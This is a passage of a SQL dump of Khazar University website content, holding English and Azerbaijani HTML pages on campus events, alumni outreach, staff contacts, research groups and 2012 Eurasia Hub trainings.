ilə çıxış etdi. Professor İsaxanlı arxeologiyanın dünya tarixini necə dəyişdirdiyi, Azərbaycan tarixi və mədəniyyətinin XIX əsrdə inkişafı, həmçinin, elm və iş dünyası arasında əlaqələrin vacibliyi məsələlərindən danışdı.</p>'),(4418,2618,'en','“World One Health Day” event held at Khazar University','On November 3, 2017, an event dedicated to World One Health Day was held at Khazar University. The event was attended by...','<br><p>On November 3, 2017, an event dedicated to <strong><em>World One Health Day</em></strong> was held at Khazar University. The event was attended by Professor Ibadulla Aghayev, Chief epidemiologist of the Ministry of Health of the Republic of Azerbaijan and Head of the Department of Epidemiology of the Azerbaijan Medical University, Dr. Hafiz Hajiyev, a research fellow from Azerbaijan Medical University, Dr. Elturan Ismayilov, Head of the Department of International Relations and Innovation of the National Oncology Center of Azerbaijan, Dr. Hassan Niknafs, rector of Khazar University, Assoc.Prof. Irada Khalilova, vice-rector for Research, Melek Karimova, PhD candidate, Head of Khazar Psychological Service Center, Valida Karimova, PhD student, Dr. Babek Alibeyov, Research Fellow of Biological Sciences Department, PhD students of Biological Sciences Department, and the students majoring in Biology, Chemistry and Biology, Geography and Environmental Sciences within the School of Education.</p><p>Hawa Adli, a PhD student of the Biological Sciences Department, delivered a presentation on the “World One Health Commission, its mission, history, goals and global strategic plans”. Then Dr. Babek Alibeyov informed the audience about “the antimicrobial residency and the problems it has created around the world”.</p><p>Khanim Adishirinli, a 3rd year student at the Department of Geography and Environmental Sciences, gave a presentation on “the Environment, its role on healthy life of living organisms, problems and solutions”.</p><p>Mehdi Zakeri, a veterinary surgeon and a PhD student, gave a presentation on “vector pathogens and infections, how they can be disseminated and prevented” and emphasized the solutions to this problem supported by <em>European Food Safety Authority</em> (<em>EFSA</em>), <em>European Center for Disease Prevention and Control</em> (<em>ECDPC</em>) and the <em>World Health Organization</em> (<em>WHO</em>).</p><p>In conclusion, Professor Ibadulla Aghayev noted about the significance of this event. He encouraged the students and young researchers to identify and prevent pathogens in a timely manner by developing innovative approaches. It was planned to further cover this area, conduct research, organize seminars and conferences in the future.</p>'),(4336,2550,'en','A new course book by Ziyad Amrahov published','The new course book entitled “The sources of the Azerbaijan History” by Ziyad Amrahov, the instructor of the department...','<p>The new course book entitled “The sources of the Azerbaijan History” by Ziyad Amrahov, the instructor of the department of History and Archeology, has been published. It covers a large area like the source study, as part of history and its development stages, as well as the sources from the earliest times of the history of Azerbaijan up to the 19th century. The book covers the sources of the ancient history of Azerbaijan, ancient sources of Azerbaijani history, works of early medieval Armenian authors, local Albanian sources, Arabic sources, Turkic sources, sources of XI-XV centuries in Azerbaijan history, sources of the Safavids era, sources of khanates of Azerbaijan and sources of legislative acts in Azerbaijan.</p><p>The textbook is in English and designed for higher educational institution&nbsp;students, Master students, teachers, and a larger audience.</p>'),(4337,2569,'az','Vurğun Əyyubun “Hekayə təhlilləri” silsiləsindən növbəti məqaləsi yayınlandı','2017-ci il oktyabrın 24-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müdiri dosent Vurğun Əyyubun...','<p>2017-ci il oktyabrın 24-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müdiri dosent Vurğun Əyyubun “Fəxri Uğurlunun ədəbi və əbədi dünyası” (“Məryəmin oğlu” hekayəsi əsasında) adlı məqaləsi <em><strong>xeber365.com</strong></em> xəbər saytında yayınlanmışdır.</p><p>Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"http://xeber365.com/haber-azadliq-asiql-rinin-silsil-si-ortada-qirilsa-da...---vurgun-yyub-yazir-16282.html\">http://xeber365.com/haber-azadliq-asiql-rinin-silsil-si-ortada-qirilsa-da...---vurgun-yyub-yazir-16282.html</a>.</p>'),(637,417,'en','Alumni','','<p>Khazar University Alumni office serves a community of about\r\n2000 members. The office administers the programs and initiatives to connect\r\nand return alumni to Khazar University.</p>\r\n<p>Khazar Alumni are very successful in employment; they work\r\nin private, public and non-profit sectors, employed by international and\r\nmultinational companies, organizations, and financial institutions in\r\nAzerbaijan as well as around the world. Many of them occupy high positions, and\r\nmany pursue their graduate degrees at top universities across the world. Quite\r\na number of them have established their own companies in tourism, retail, and\r\nproduction industries. &nbsp;</p>\r\n<p>The Alumni office maintains relationships with alumni and\r\nprovides opportunities for them to remain involved in university life and\r\nevents.</p>\r\n<p><strong>Fun ways for alumni to get involved:</strong></p>\r\n<p>We value our alumni relations. Please consider staying in\r\ntouch with Khazar University by volunteering, attending events, fundraising\r\nwith us, or telling us about your Khazar experience so we can share it with\r\nothers!</p>'),(638,419,'en','Alumni Interview Questions','Alumni Interview Questions','<p><strong>Dear Alumni!</strong></p><p>Your answers to these questions will help us to develop stories for the Alumni and Friends page of www.khazar.org.&nbsp; But you are welcome to address any other issue that is not indicated in this questionnaire.&nbsp; Please feel free to write as much as you’d like, but responses of about 1000 words total will help us to a great extent. Thank you! We are glad you care about Khazar and are ready to invest your time to share your story.</p><p>What makes Khazar special for you?</p><p>What does Khazar mean to you?</p><p>How education at Khazar helped you to achieve your level?&nbsp;</p><p>What do you think Khazar needs in order to maintain its leading position?</p><p>How can alumni help us to achieve that?</p><p>What expectations do alumni have of their Alma Mater?</p><p>Have you volunteered for any fundraising activity, or have you done something you want to share with us?&nbsp; If yes, what did it give you?&nbsp;</p><p><strong>Please send your answers to&nbsp;</strong><a href=\"mailto:risayeva@khazar.org\"><strong>risayeva@khazar.org</strong></a><strong>.</strong></p><p><strong>Thank you very much for your help!</strong></p>'),(639,420,'en','Things Alumni and Friends can do for Khazar University','Things Alumni and Friends can do for Khazar University','<div><br></div><p><strong>40 Things Alumni and Friends can do for Khazar University&nbsp;</strong></p><p></p><p></p><address><p></p><ol><li><span style=\"font-style:normal\">Join a volunteer group to become an alumni leader.</span></li><li><span style=\"font-style:normal\">Ask your company if they are able to provide a summer internship for at least two students of Khazar University.&nbsp;</span></li><li><span style=\"font-style:normal\">Invite all the graduates in your major (e.g. international economic relations), as well as the professors, to an afternoon get together.</span></li><li><span style=\"font-style:normal\">Promote Khazar University; motivate your neighbors’ and friends’ children to enroll in Khazar University.</span></li><li><span style=\"font-style:normal\">Organize a Khazar University presentation in your company or organization.</span></li><li><span style=\"font-style:normal\">Invite some of the distinguished professors of Khazar University to speak to the clubs and companies you belong to.</span></li><li><span style=\"font-style:normal\">Ask the administration of your company if Dr. Isaxanli or Dr. Ryder can make a presentation about Khazar University.</span></li><li><span style=\"font-style:normal\">Volunteer to be a guest speaker in an appropriate class.</span></li><li><span style=\"font-style:normal\">Ask if your company will be willing to make an investment in education in support of an area of direct interest to the company. &nbsp;&nbsp;</span></li><li><span style=\"font-style:normal\">Volunteer as a mentor to one or two students.</span></li><li><span style=\"font-style:normal\">If you live outside Azerbaijan, volunteer to coordinate alumni activities in your country of residence.</span></li><li><span style=\"font-style:normal\">Volunteer to sponsor a student of Khazar University to attend or present at a regional or international conference, seminar or any other professional meeting.&nbsp;</span></li><li><span style=\"font-style:normal\">Volunteer to help with campus tours, special guests and open houses.</span></li><li><span style=\"font-style:normal\">Volunteer to help with art and scientific events on campus.</span></li><li><span style=\"font-style:normal\">Help the university to promote and lobby the need for supporting a private university among state authorities.</span></li><li><span style=\"font-style:normal\">Volunteer or help to gather Khazar University’s history, traditions and artifacts with personal mementos.</span></li><li><span style=\"font-style:normal\">Ask if there are students who may need tutoring.</span></li><li><span style=\"font-style:normal\">Volunteer to lead a small fundraising effort for your favorite academic department or division of Khazar University.&nbsp;</span></li><li><span style=\"font-style:normal\">Volunteer to work in the library or other areas where your skills and experiences may be helpful.</span></li><li><span style=\"font-style:normal\">Volunteer to become an advisor to a variety of student organizations, e.g. Khazar Radio.</span></li><li><span style=\"font-style:normal\">Teach or team-teach a course on campus.</span></li><li><span style=\"font-style:normal\">Volunteer to help support your favorite activity on campus.</span></li><li><span style=\"font-style:normal\">Consider donating a part of or your entire library to Khazar Library and Information Center.</span></li><li><span style=\"font-style:normal\">Bring special and important friends to campus for lunch and show them around and/or arrange for Dr. Isaxanli to join you.</span></li><li><span style=\"font-style:normal\">Organize an alumni club at your workplace if there are other Khazar graduates there.</span></li><li><span style=\"font-style:normal\">Sponsor a modest reception at your home for graduating seniors and faculty from your old department at Khazar University.</span></li><li><span style=\"font-style:normal\">Contact Khazar University staff about how you can help to facilitate positive support with legislative leaders.</span></li><li><span style=\"font-style:normal\">Accompany Khazar University Board of Trustees members or President Ryder on agreed fundraising visits where you think you may be helpful.&nbsp;</span></li><li><span style=\"font-style:normal\">Sponsor a dinner for all retired faculty from your old academic department and invite Dr. Isaxanli to join you.</span></li><li><span style=\"font-style:normal\">Get a friend, professional and social contact with particular expertise to help Khazar University with active involvement</span></li><li><span style=\"font-style:normal\">Keep Khazar University updated with your address, email, phone number and personal successes.</span></li><li><span style=\"font-style:normal\">Wear clothing imprinted with the name of Khazar University to community events.</span></li><li><span style=\"font-style:normal\">Participate in special events sponsored by the Khazar Alumni Association.</span></li><li><span style=\"font-style:normal\">Volunteer to participate in the Admission Campaign of Khazar University.</span></li><li><span style=\"font-style:normal\">Volunteer to be a liaison between Khazar University admissions office and high school offices.</span></li><li><span style=\"font-style:normal\">Participate in alumni surveys and feedback opportunities.</span></li><li><span style=\"font-style:normal\">Volunteer to become a member of Alumni Council or Alumni Association Board of Directors.</span></li><li><span style=\"font-style:normal\">Send positive letters/articles about Khazar University to local newspapers.</span></li><li><span style=\"font-style:normal\">Check out the University website at least once a week.</span></li><li><span style=\"font-style:normal\">Create your own personal way to make a difference at Khazar University.</span></li></ol><p></p></address><p></p><p></p><div><br></div><div><br></div>'),(640,421,'en','Alumni Questionnaire','Alumni Questionnaire','<p><strong>Ayten Shadlinskaya </strong> <br><span style=\"background-color:#eeeeee\"></span></p><p>Specialits, Quality Assurance Department,</p><p>Baku higher Oil School</p>  <img src=\"/files/demo/12_12_24_a.jpg\" style=\"border:0px  #000000;width:150px;height:147px;margin:7px;vertical-align:top;float:left\"><p><br></p><p style=\"background:undefined\"><br></p>\r\n<p><br></p><p><br></p><p>“Khazar University is the window to the world” - I still remember the words that I read in&nbsp;Khazar Review&nbsp;journal that drew me to the university in 2003. I discovered Khazar University as the key to realize my dreams…and began to pursue the path that brought me to Khazar.&nbsp;</p><p><br></p><p style=\"background:undefined\"><strong>Mehriban Namazova,</strong></p><p>Drilling Engineer, BP</p>  <img src=\"/files/demo/12_12_28_m2.jpg\" style=\"width:150px;height:148px;margin:7px;vertical-align:top\"><p>When I speak about&nbsp;Khazar University,&nbsp;first of all I mean quality education. Khazar University is an open door to the new world. Its international learning environment with students and teachers from different cultures it what makes Khazar so special.  <br></p><p>&nbsp;</p>'),(1865,1147,'en','International Affairs Office Staff at Reception for University Representatives organized by Ambassador of India ','On May 23, 2016, International Affairs Office staff participated in a reception organized by the Embassy of India in Baku. The reception brought together representatives of numerous local universities.','<p>On May 23, 2016, International Affairs\r\nOffice staff participated in a reception organized by the Embassy of India in\r\nBaku. The reception brought together representatives of numerous local\r\nuniversities. </p>\r\n<p>&nbsp;</p>\r\n<p>Ambassador of India Mr. Sanjay Rana\r\nopened the reception by welcoming all guests and stressing the importance of\r\nthe event. He mentioned that he had previously visited many local universities\r\nand decided to gather their representatives in one place to discuss possible\r\ncooperation of local universities with the embassy, universities and\r\norganizations in India. </p>\r\n<p>&nbsp;</p>\r\n<p>Ambassador Rana visited Khazar\r\nUniversity earlier this year on February 4, 2016.</p>\r\n<p>&nbsp;</p>'),(641,422,'en','Alumni Success Story','Alumni Success Story','<p><strong>Ayten Shadlinskaya</strong></p><p><strong>Specialits, Quality Assurance Department,</strong></p><p><strong>Baku higher Oil School</strong></p><img src=\"http://www.khazar.org/files/demo/12_12_24_a.jpg\" style=\"border:0px  #000000;width:150px;height:148px;vertical-align:baseline\"><p>“Khazar University is the window to the world” - I still remember the words that I read in&nbsp;Khazar Review&nbsp;journal that drew me to the university in 2003. I discovered Khazar University as the key to realize my dreams…and began to pursue the path that brought me to Khazar.&nbsp;</p><p><br></p><p><strong>Mehriban Namazova,</strong></p><p><strong>Drilling Engineer, BP</strong></p><img src=\"http://www.khazar.org/files/demo/12_12_28_m2.jpg\" style=\"border:0px  #000000;width:150px;height:148px;vertical-align:baseline\"><p>When I speak about&nbsp;Khazar University,&nbsp;first of all I mean quality education. Khazar University is an open door to the new world. Its international learning environment with students and teachers from different cultures it what makes Khazar so special.&nbsp;</p>  <p><br></p><p><strong>Hokuma Karimova </strong> <br></p><p><img src=\"/files/demo/14_07_09_10462706_10152579556235159_8875789436519390441_n.jpg\" style=\"width:150px;height:176px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p style=\"background:undefined\">Dear friends !</p><p>My name is Hokuma Karimova and I feel honored to introduce myself as an alumni of Khazar Univeristy. I have graduated in 2009 and I have majored in International Relations.</p><p>With no hesitation I usually underline that, studing at Khazar University was a great chance which opened tons of other opportunities for me. While been a student, I have applied to United States Program UGRAD, and was the finalist to spend an amazing academic year at Wartburg University in IA, USA. This was an added value to all the studies that I took for International Relations major. I have graduated with the highest honor diploma from Khazar Univeristy.</p>  <p><br></p><p>&nbsp;</p>'),(1864,1147,'az','Beynəlxalq Əlaqələr Şöbəsinin işçi heyəti Hindistan səfirinin universitet nümayəndələri üçün təşkil etdiyi naharda','2016-cı il mayın 23-də Xəzər Universiteti Beynəlxalq Əlaqələr Şöbəsinin işçi heyəti Bakıdakı Hindistan səfirliyinin təşkil etdiyi naharda iştirak etdi. Bu yığıncaqda bir çox yerli universitetlərin nümayəndələri bir araya gəldilər.','<p>2016-cı il mayın 23-də Xəzər Universiteti Beynəlxalq\r\nƏlaqələr Şöbəsinin işçi heyəti Bakıdakı Hindistan səfirliyinin təşkil etdiyi\r\nnaharda iştirak etdi. Bu yığıncaqda bir çox yerli universitetlərin nümayəndələri\r\nbir araya gəldilər.</p>\r\n<p>Hindistanın səfiri cənab Sanjay Rana qonaqları\r\nsalamladı və tədbirin vacibliyini vurğuladı. O, əvvəl bir çox yerli\r\nuniversitetlərdə olduğunu və səfirliyin Hindistandakı universitetlər və təşkilatlarla\r\nyerli universitetlər arasında gələcək əməkdaşlığı müzakirə etmək üçün bütün\r\nnümayəndələri bir araya gətirmək qərarına gəldiyini qeyd etdi.</p>\r\n<p>Hindistanın səfiri cənab Sanjay Rana 2016-cı il\r\nfevralın 4-də Xəzər Universitetində olmuşdur.</p>'),(644,426,'en','Research Groups','Research Groups','<p>&nbsp;</p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<strong> <a href=\"http://www.khazar.org/en/menus/415/cldom\"><span style=\"color:#0066ff\">CL</span></a><span style=\"color:#0066ff\"><a href=\"http://www.khazar.org/en/menus/415/cldom\">DOM</a></span> &nbsp;</strong> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<strong style=\"color:#0066ff\"></strong></p><p><strong style=\"color:#0066ff\"><a href=\"http://www.khazar.org/en/menus/416/computational_fluid_dynamics_cfd_\"></a></strong></p><p><span style=\"background-color:#ffffff\">Research Leader: Jestin Mandumpal, PhD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<br></span></p>\r\n<p>&nbsp;<img src=\"/files/demo/15_04_26_nano.jpg\" style=\"width:300px;height:200px\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/416/computational_fluid_dynamics_cfd_\">Computational Fluid Dynamics</a></strong>  <br></p><p>Research Leader: <a href=\"http://www.khazar.org/en/menus/418/taher_chegini\">Taher Chegini</a>, M.Sc &nbsp;&nbsp;  <br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/demo/14_11_19_CFD.png\" style=\"border:0px #000000;width:300px;height:200px;vertical-align:text-top;margin-top:-95px\"></p><p>&nbsp;</p><p><br></p><p><br></p><p><br></p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;<span style=\"color:#0066ff\"><strong>Network Theory</strong> &nbsp; </span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style=\"color:#0066ff\"><strong></strong></span></p>\r\n<p>&nbsp;Research Leader: Javad Mehri-Tekmeh, PhD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>\r\n<p><img src=\"/files/demo/15_04_26_net.jpg\" style=\"width:300px;height:200px;vertical-align:text-top\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p><br></p><p><br></p><p><strong style=\"color:#3333ff\">Computational Biology </strong> <br></p><p>Research Leader: İrada Khalilova, PhD  <br></p><p><br></p><p>&nbsp;&nbsp; &nbsp;<img src=\"/files/demo/15_04_27_dna.gif\" style=\"width:300px;height:200px;vertical-align:text-top\"><br></p><p style=\"color:#0066ff\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p style=\"color:#0066ff\"><br></p><p style=\"color:#0066ff\">&nbsp; <strong>Process modeling</strong></p><p>&nbsp;Research Leader: Mohammad Mehdi Zarei, M.Sc</p>  <p><img src=\"/files/demo/15_04_29_saipem_01.png\" style=\"width:300px;height:227px\"><br></p>'),(642,424,'en','Staff','Staff','<img src=\"/files/social/_Raziya_Isayeva.jpg\" width=\"150\" height=\"260\" style=\"border:0px  #000000;width:150px;height:260px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziya&nbsp;Isayeva</a></strong></p><p><strong>Development Director</strong>  <br></p><p><strong>Email:&nbsp;</strong><a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a></p><p><a href=\"mailto:risayeva@khazar.org\"></a><strong>Phone</strong>: (+994 12)&nbsp;421 79 16 (207)</p><p><br></p><p><br></p><p><br></p><p><br></p> \r\n<hr>\r\n<p><strong><img src=\"/files/letters/ulkar_b.jpg\" style=\"border:0px  #000000;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/Ulkar_Bayramova.pdf\">Ulkar Bayramova</a></strong></p><p><strong>Project&nbsp;manager</strong></p><p>MS in Pedagogy (Lankaran State University, Azerbaijan)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ubayramova@khazar.org\">ubayramova[at]khazar.org</a>  </p><p><strong>Phone</strong>: (+994 12) 421 79 16&nbsp;(249)</p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina_al.jpg\" style=\"float:left;width:150px;height:245px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Sabina Allahveranova</a></strong></p><p><strong><strong>Manager of Career Center</strong>  </strong></p><p>BS in International Relations (Girne&nbsp;American&nbsp;University, TRNC, Cyprus)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp;&nbsp;</p>  <p><strong>Phone</strong>: (+994 12) 421 79 16&nbsp;(212)&nbsp;</p><p><br></p><p><br></p>\r\n<hr><img src=\"http://www.khazar.org/files/politics_depart/Picture-Baba.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Baba_Bayramli_CV.pdf\">Baba Bayramli</a></strong></p><p style=\"font-weight:bold\"><strong style=\"font-weight:400\"><a href=\"http://www.khazar.org/files/pdf/Baba_Bayramli_CV.pdf\"></a></strong><strong>Coordinator of Alumni Outreach Centre</strong><strong><br></strong></p><p>MS in History&nbsp;(Baku&nbsp;State University,&nbsp;Azerbaijan)  </p><p><strong style=\"font-weight:bold\">E-mail</strong><strong>:&nbsp;</strong><a href=\"mailto:bbayramov[at]khazar.org\">bbayramov[at]khazar.org</a></p><p><strong>Phone</strong>: (+994 12) 421 79 16&nbsp;(274)&nbsp;</p>'),(643,425,'en','Gallery','Gallery',''),(649,432,'en','2012','2012','<p><strong>Eurasia Hub’s Events in 2012</strong></p><p>In 2012 Eurasia Hub has delivered a number of courses in some Eurasian countries, based on the country needs.</p><p>&nbsp;</p><p><strong>On November 27-29</strong>&nbsp;Eurasia Extractive Industries Knowledge Hub organized training on “Training Trainers” for the graduates who had demonstrated the best results in the training events that were held by the center in 2012.</p><p>The training was conducted by qualified instructors of the GRBS training center in Baku. The purpose of the event was to built graduates’ skills and capacity in the field of training and to train new trainers in extractive industries in Eurasia.</p><p>During the training event, 7 participants from 4 countries-- Azerbaijan, Kazakhstan, Kyrgyzstan and Tajikistan-- gained valuable knowledge on needs assessment, development of a training program, training methods, preparation of professional presentations, management questions and answers, audience management, work with challenging participants, evaluation, and so on. At the end of the training, based on their newly-acquired knowledge, participants prepared and presented individual training programs.</p><p>Eurasia Knowledge Hub held this “Training Trainers” course for the second time. A total of 14 new trainers of Eurasia Knowledge Hub have been prepared. With their help, the Center organizes large-scale training events in 13 countries involved in extractive industries in the Eurasia region.</p><p><br></p><p><img src=\"/files/demo/14_11_25_2012_1_1.jpg\" style=\"border:0px #000000;width:232px;height:175px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2012_1_2.jpg\" style=\"border:0px #000000;width:232px;height:175px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_photo_1.jpg\" style=\"border:0px #000000;width:232px;height:175px;vertical-align:baseline\"><br></p><p><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#0000ff\"><strong>On October 30- November 1, 2012,</strong></span>&nbsp;the Khazar University Eurasia Knowledge Hub held a routine 3-day training on “Revenue management and economic diversification.\"</p><p>There were more than 20 participants in the event, including representatives of scientific research institutes, universities, government agencies, media, and civil society from five countries - Azerbaijan, Russia, Kazakhstan, Kyrgyzstan and Tajikistan.</p><p>During the training, presentations were made on topics such as revenue management, macroeconomic frameworks for resource-rich countries, Sovereign Wealth Funds, macroeconomics management, revenues distribution at the sub-national level, state oil and gas companies, economic and export diversification and its measurement, from economic diversification to sustainable development, and more.</p><p>Interactive discussions were held on all the topics that had been presented, and participants were divided into groups to perform specific tasks.</p><p>On the second day of the training, participants made presentations on the situation of Sovereign Wealth Funds in Russia and Kazakhstan. On the last day of the training, an exam covering all the topics was given, and special certificates and Khazar University gifts were presented to the participants.</p><p>We note that both local and foreign trainers were involved in this training event, which was carried out with the financial support of Revenue Watch Institute of America.</p>  <p><br></p><p><img src=\"/files/demo/14_11_25_2012_2_1.jpg\" style=\"border:0px #000000;width:232px;height:154px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2012_2_2.jpg\" style=\"border:0px #000000;width:232px;height:154px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2012_2_3.jpg\" style=\"border:0px #000000;width:232px;height:154px;vertical-align:baseline\"><br></p><p><br></p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p>  <p><img src=\"/files/demo/14_11_25_2012_3_1.jpg\" style=\"border:0px #000000;width:232px;height:154px;float:left;margin-right:10px\"><span style=\"font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;color:#0000ff\"><strong>On June 25th, 2012</strong></span><span style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;the Extractive Industries Knowledge Hub began its summer school at Khazar University. It is the first time that Eurasia Extractive Industries Knowledge Hub has held this type of event at the university. The topic is “Economic Diversification and Sustainable Development in</span></p><p><span style=\"font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;color:#0000ff\"><strong></strong></span></p><p>the Petroleum-Rich Countries.” The eight-day course will include not only lectures but also group work and individual exercises to equip the participants with practical knowledge and help them to improve economic issues as well as develop skills. 23 students from Khazar University and graduates from other universities are actively participating in this training.</p><p>The trainers’ team includes: Andrew Bauer (Economic Analyst, RWI, NY, US), Ingilab Ahmadov (Director Eurasia HUB, Khazar University), Namik Khalilov (Khazar University faculty member), Kenan Aslanli (Independent expert on economic diversification (Azerbaijan)), and also Ziya Kengerli (State Oil Fund of the Republic of Azerbaijan (SOFAZ) expert).</p><p>The Hub is planning to deliver this course as a regular summer school in the country and Caspian region.</p>  <p><br></p><p><img src=\"/files/demo/14_11_25_2012_4.jpg\" style=\"border:0px  #000000;float:left;width:232px;height:154px;margin-right:10px\"><span style=\"font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;color:#0000ff\"><strong>O</strong><strong>n June 15-17, 2012</strong>&nbsp;</span><span style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</span><span style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Eurasia Extractive Industries Knowledge Hub in Khazar University has successfully delivered&nbsp; EITI advanced course for 18 representatives from Afghanistan, Mongolia,</span></p><p><span style=\"font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;color:#0000ff\"><strong></strong></span></p><p>Ukraine, Kazakhstan, Kyrgyzstan, Tajikistan, Georgia and Azerbaijan. Course concentrated on such topics as EITI special mission role within EI value chain, Theory of change, RWI report quality indicators, EITI Report analysis tools, EITI Innovations. Additionally each country team has developed an action plan to take forward the knowledge acquired at the course to be applied to advancement of EITI processes in their respective countries.</p><p>The trainers team included Katarina Kuai (RWI capacity building officer, Erica Westenberg (EITI policy officer (RWI)), Galib Efendiev (RWI Eurasia Regional Coordinator), Ingilab Ahmadov ( Director Eurasia HUB, Khazar University).</p><p>Course participants were mostly from EITI MSG members from CSOs and local media institutions.</p><p>Part of the participants attended 2011 Eurasia Hub EITI essentials course in Baku, whereas the other part were represented by activists with extensive knowledge and experience of EITI implementation in the country and regional levels.</p>  <p><br></p><p><img src=\"/files/demo/14_11_25_2012_5.jpg\" style=\"border:0px #000000;width:232px;height:175px;float:left;margin-right:10px\"><strong style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify\"><span style=\"color:#0000ff\">&nbsp;</span></strong><strong style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify\"><span style=\"color:#0000ff\">On March 31- April 6, 2012</span>,&nbsp;</strong><span style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">Eurasia Extractive Industries Knowledge Hub in Khazar University held&nbsp; 7-day training entitled \"Hydrocarbons and Minerals: from extraction to sustainable development\".</span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\">This training course was the fourth in series of training programs &nbsp;whose aim was to develop and strengthen the capacity of civil society of Eurasia continent in extractive industries.</p><p><strong style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify\"><span style=\"color:#0000ff\"></span></strong></p><p>18 members of four countries - Azerbaijan, Kazakhstan, Kyrgyzstan and Tajikistan participated in the training. Most of them were representatives from NGO and Mass Media, but they were also from state agencies and universities. The schedule was filled with different modules but all of 